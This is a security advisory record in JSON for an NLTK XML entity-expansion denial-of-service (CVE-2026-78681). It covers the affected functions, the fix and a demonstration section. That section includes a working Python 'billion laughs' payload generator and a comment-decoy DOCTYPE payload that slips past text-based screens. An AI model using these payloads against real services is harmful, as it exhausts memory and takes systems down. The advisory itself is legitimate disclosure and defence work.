{"id":"CVE-2026-78681","aliases":["GHSA-97qj-x29f-37w7","PYSEC-2026-3748"],"url":"https://o3.security/vulnerability/CVE-2026-78681","summary":"NLTK before 3.10.3 Entity Expansion DoS via ElementTree","details":"Several XML parsing sites in NLTK still used `xml.etree.ElementTree` directly, which honours `<!ENTITY>` declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.\n\nAffected call sites (<= 3.10.2):\n- `nltk.chunk.named_entity.load_ace_file` — parses ACE annotation XML\n- `nltk.internals.ElementWrapper` — converts any given string to an Element\n- `nltk.downloader` — `Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages`\n\nlibexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.\n\nThis completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new `nltk.xmlsec` module that refuses entity declarations, preferring `defusedxml` and falling back to a standard-library `xml.parsers.expat` pre-scan when defusedxml is absent.\n\n---\n\n## Attack demonstration\n\nReproducible PoC against a real affected entry point (`nltk.internals.ElementWrapper`). Every number below is captured output, not illustrative.\n\n### 1. The amplification (vulnerable path: raw `xml.etree.ElementTree`)\n\nA payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:\n\n| levels | input bytes | expanded bytes | factor |\n|--------|-------------|----------------|--------|\n| 3 | 218 | 10,000 | x45 |\n| 4 | 274 | 100,000 | x364 |\n| 5 | 330 | 1,000,000 | x3,030 |\n| 6 | 386 | (libexpat 2.7.1 cap trips) | - |\n\nThe level-6 cap is **libexpat's**, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.\n\n```python\nimport xml.etree.ElementTree as ET\ndef bomb(levels):\n    d = \"\\n\".join(f'<!ENTITY e{i} \"{(\"&e%d;\"%(i-1))*10}\">' for i in range(1, levels+1))\n    return f'<!DOCTYPE d [<!ENTITY e0 \"AAAAAAAAAA\">{d}]><d>&e{levels};</d>'\nET.fromstring(bomb(5))   # -> element whose .text is 1,000,000 chars\n```\n\n### 2. The patched entry point rejects it\n\n```\n>>> from nltk.internals import ElementWrapper\n>>> ElementWrapper(bomb(5))\nEntitiesForbidden: EntitiesForbidden(name='e0', ...)\n```\n\n### 3. Why a text-based screen is not enough\n\nAn entity declaration can hide behind a decoy `<!DOCTYPE>` in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:\n\n```python\nevil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a \"PPPP...\">]><d>&a;</d>'\n```\n\n```\nraw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars)\nnltk.xmlsec     -> REJECTED (EntitiesForbidden)\n```\n\nAn earlier draft of the fallback that walked the text **was** bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray `]` inside a PI in the internal subset). All five are now regression tests.\n\n### 4. Both back ends block it\n\n`nltk.xmlsec` prefers `defusedxml` and falls back to a stdlib `xml.parsers.expat` pre-scan. Same payloads, defusedxml hidden to force the fallback:\n\n```\nstdlib fallback | billion-laughs               -> REJECTED (EntitiesForbidden)\nstdlib fallback | comment-decoy differential   -> REJECTED (EntitiesForbidden)\n```\n\nEnvironment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).","published":"2026-08-25T01:30:37.749Z","modified":"2026-09-03T03:48:19.997080203Z","cvss":null,"epss":{"score":0.00294,"percentile":0.22127,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"nltk","fixedVersion":"3.10.3"}],"fix":{"url":"https://github.com/nltk/nltk/commit/e91789c9a043296ad04912ce171c22776d45963b","label":"nltk/nltk@e91789c"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/78xxx/CVE-2026-78681.json"},{"type":"ADVISORY","url":"https://github.com/nltk/nltk/security/advisories/GHSA-97qj-x29f-37w7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78681"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/nltk-before-entity-expansion-dos-via-elementtree"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/e91789c9a043296ad04912ce171c22776d45963b"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3748.yaml"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-03T03:48:19.997080203Z"}}